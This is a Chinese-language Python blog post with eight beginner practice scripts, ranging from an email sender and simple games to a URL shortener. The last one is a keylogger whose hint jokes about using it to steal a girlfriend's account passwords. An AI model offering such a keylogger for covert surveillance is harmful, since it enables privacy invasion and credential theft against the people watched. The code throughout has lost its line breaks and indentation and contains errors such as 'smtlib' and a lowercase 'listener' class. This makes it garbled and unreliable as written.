【python学习笔记】：经典实用小案例（练习版）

今天给大家分享的，是一些实战练习的小案例，如果你还是Python小白，可以再看看我前面几篇文章，如果是有了一点基础，那就尝试完成下面这些案例吧！

一、自动发送邮件

用Python编写一个可以发送电子邮件的脚本。

提示：email库可用于发送电子邮件。

import smtplib from email.message import EmailMessageemail = EmailMessage() ## Creating a object for EmailMessageemail['from'] = 'xyz name'   ## Person who is sendingemail['to'] = 'xyz id'       ## Whom we are sendingemail['subject'] = 'xyz subject'  ## Subject of emailemail.set_content("Xyz content of email") ## content of emailwith smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp:     ## sending request to server     smtp.ehlo()          ## server objectsmtp.starttls()      ## used to send data between server and clientsmtp.login("email_id","Password") ## login id and password of gmail   smtp.send_message(email)   ## Sending emailprint("email send")    ## Printing success message

二、Hangman（猜单词的游戏）

用Python创建一个简单的hangman猜单词游戏。

提示：创建一个密码词的列表并随机选择一个单词。将每个单词用下划线“”表示，让用户猜单词，如果用户猜对了，则将用单词替换掉“”。​​​​​​​

import timeimport randomname = input("What is your name? ")print ("Hello, " + name, "Time to play hangman!")time.sleep(1)print ("Start guessing...\n")time.sleep(0.5)## A List Of Secret Wordswords = ['python','programming','treasure','creative','medium','horror']word = random.choice(words)guesses = ''turns = 5while turns > 0:             failed = 0for char in word:      if char in guesses:    print (char,end="")    else:print ("_",end=""),                 failed += 1if failed == 0:        print ("\nYou won") break    guess = input("\nguess a character:")     guesses += guess                    if guess not in word:          turns -= 1        print("\nWrong")            print("\nYou have", + turns, 'more guesses') if turns == 0:           print ("\nYou Lose")

三、闹钟

用Python编写一个创建闹钟的脚本。

提示：用date-time模块创建闹钟，然后用playsound库播放声音。​​​​​​​

from datetime import datetime   from playsound import playsoundalarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")alarm_hour=alarm_time[0:2]alarm_minute=alarm_time[3:5]alarm_seconds=alarm_time[6:8]alarm_period = alarm_time[9:11].upper()print("Setting up alarm..")while True:    now = datetime.now()    current_hour = now.strftime("%I")    current_minute = now.strftime("%M")    current_seconds = now.strftime("%S")    current_period = now.strftime("%p")if(alarm_period==current_period):if(alarm_hour==current_hour):if(alarm_minute==current_minute):if(alarm_seconds==current_seconds):                    print("Wake Up!")                    playsound('audio.mp3') ## download the alarm sound from linkbreak

四、石头剪刀布游戏

创建一个石头剪刀布的游戏，游戏者与与计算机PK。如果游戏者赢了，得分就会添加，看谁最终的得分最高。

提示：先判断游戏者的选择，然后与计算机的选择进行比较。计算机的选择是从选择列表中随机选取的。如果游戏者获胜，则增加1分。​​​​​​​

import randomchoices = ["Rock", "Paper", "Scissors"]computer = random.choice(choices)player = Falsecpu_score = 0player_score = 0while True:    player = input("Rock, Paper or  Scissors?").capitalize()# 判断电脑与游戏者的选择if player == computer:        print("Tie!")elif player == "Rock":if computer == "Paper":            print("You lose!", computer, "covers", player)            cpu_score+=1else:            print("You win!", player, "smashes", computer)            player_score+=1elif player == "Paper":if computer == "Scissors":            print("You lose!", computer, "cut", player)            cpu_score+=1else:            print("You win!", player, "covers", computer)            player_score+=1elif player == "Scissors":if computer == "Rock":            print("You lose...", computer, "smashes", player)            cpu_score+=1else:            print("You win!", player, "cut", computer)            player_score+=1elif player=='E':        print("Final Scores:")        print(f"CPU:{cpu_score}")        print(f"Plaer:{player_score}")breakelse:        print("That's not a valid play. Check your spelling!")    computer = random.choice(choices)

五、提醒小工具

利用Python一个提醒小工具，在设定好的时间在桌面做提醒通知。

提示：跟踪提醒时间可以用Time模块，显示桌面通知可以用toastnotifier库。

安装：win10toast​​​​​​​

from win10toast import ToastNotifierimport timetoaster = ToastNotifier()try:    print("Title of reminder")    header = input()    print("Message of reminder")    text = input()    print("In how many minutes?")    time_min = input()    time_min=float(time_min)except:    header = input("Title of reminder\n")    text = input("Message of remindar\n")    time_min=float(input("In how many minutes?\n"))time_min = time_min * 60print("Setting up reminder..")time.sleep(2)print("all set!")time.sleep(time_min)toaster.show_toast(f"{header}",f"{text}",duration=10,threaded=True)while toaster.notification_active(): time.sleep(0.005)

六、文章朗读器

用Python编写一个脚本，实现自动从提供的链接读取文章的功能。​​​​​​​

import pyttsx3import requestsfrom bs4 import BeautifulSoupurl = str(input("Paste article url\n"))def content(url):  res = requests.get(url)  soup = BeautifulSoup(res.text,'html.parser')  articles = []for i in range(len(soup.select('.p'))):    article = soup.select('.p')[i].getText().strip()    articles.append(article)    contents = " ".join(articles)return contentsengine = pyttsx3.init('sapi5')voices = engine.getProperty('voices')engine.setProperty('voice', voices[0].id)def speak(audio):  engine.say(audio)  engine.runAndWait()contents = content(url)## print(contents)      ## In case you want to see the content#engine.save_to_file#engine.runAndWait() ## In case if you want to save the article as a audio file

七、短网址生成器

用Python编写一个脚本，实现用API缩短指定URL的功能。​​​​​​​

from __future__ import with_statementimport contextlibtry:from urllib.parse import urlencodeexcept ImportError:from urllib import urlencodetry:from urllib.request import urlopenexcept ImportError:from urllib2 import urlopenimport sysdef make_tiny(url):    request_url = ('http://tinyurl.com/api-create.php?' +     urlencode({'url':url}))with contextlib.closing(urlopen(request_url)) as response:return response.read().decode('utf-8')def main():for tinyurl in map(make_tiny, sys.argv[1:]):        print(tinyurl)if __name__ == '__main__':    main()

八、键盘记录器

用Python编写一个脚本，实现将用户在键盘上按过的按键记录下来，并保存在一个文本文件中。

提示：控制键盘和鼠标的移动就不得不推荐pynput这个库了，它还可以用于制作键盘记录器，通过读取被按下的键，然后将它们保存在一个文本文件中。（咳咳，想知道女朋友的账号密码的可以好好学习下）​​​​​​​

from pynput.keyboard import Key, Controller,Listenerimport timekeyboard = Controller()keys=[]def on_press(key):global keys#keys.append(str(key).replace("'",""))    string = str(key).replace("'","")    keys.append(string)    main_string = "".join(keys)    print(main_string)if len(main_string)>15:with open('keys.txt', 'a') as f:          f.write(main_string)             keys= []     def on_release(key):if key == Key.esc:return Falsewith listener(on_press=on_press,on_release=on_release) as listener:    listener.join()